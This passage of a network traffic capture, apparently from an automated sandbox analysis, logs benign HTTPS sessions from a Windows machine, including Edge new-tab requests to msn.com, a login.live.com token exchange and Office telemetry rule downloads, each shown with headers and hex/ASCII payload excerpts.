39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-17 02:42:42 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49890	20.96.153.111	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:42 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=024D4A803FDA694A0F455FBA3E2B6876&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6b87322bfd1a439dce3141a7abcf98ea HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1
2024-11-17 02:42:42 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2886 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425505598-T700376473-C128000000002480389+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002480389+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
2024-11-17 02:42:42 UTC	2886	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4c 61 6b 65 20 54 61 68 6f 65 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4c 61 6b 65 2b 54 61 68 6f 65 26 66 6f 72 6d 3d 4d 30 30 30 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Lake Tahoe\",\"cta\":\"https:\/\/www.bing.com\/search?q=Lake+Tahoe&form=M000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49888	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-17 02:42:42 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-17 02:42:43 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 17 Nov 2024 02:41:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C559_BAY x-ms-request-id: f0f673f2-56c8-43b9-86ed-01262edfe389 PPServer: PPV: 30 H: PH1PEPF00011F9E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 17 Nov 2024 02:42:42 GMT Connection: close Content-Length: 11392
2024-11-17 02:42:43 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:42 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:42 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024242Z-16547b76f7fnlq8chC1DFWxnen000000038g00000000qe1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:42 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:42 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:42 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024242Z-16547b76f7fljddfhC1DFWeqbs00000004g000000000cryn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:42 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:42 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:42 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:42 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024242Z-16547b76f7fkz9l7hC1DFW35uc00000000tg000000007m5n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:42 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:42 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:42 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 2d30c4d9-701e-003e-289a-3879b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024242Z-164f84587bf9nk94hC1DFWerbg00000002n000000000mk6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:42 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:42 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:42 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 7f14e84b-501e-00a3-1aaf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024242Z-1866b5c5fbbpxkkxhC1DFWhvmc0000000410000000004z5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:42 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49904	20.125.209.212	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:42 UTC	1271	OUT	GET /c.gif?rnd=1731811358830&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5adb8e267cf64bb19e68a2e068f0bfad&activityId=5adb8e267cf64bb19e68a2e068f0bfad&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=DD5B561888754485909BF684B6BA20B0&MUID=024D4A803FDA694A0F455FBA3E2B6876 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1; SM=T; _C_ETH=1
2024-11-17 02:42:43 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=024D4A803FDA694A0F455FBA3E2B6876; domain=.msn.com; expires=Fri, 12-Dec-2025 02:42:43 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=024D4A803FDA694A0F455FBA3E2B6876; domain=c.msn.com; expires=Fri, 12-Dec-2025 02:42:43 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sun, 24-Nov-2024 02:42:43 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sun, 17-Nov-2024 02:52:43 GMT; path=/; SameSite=None; Secure; Date: Sun, 17 Nov 2024 02:42:42 GMT Connection: close Content-Length: 42
2024-11-17 02:42:43 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49906	20.42.73.31	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:43 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731811361124&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11387 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1; _C_ETH=1; msnup=
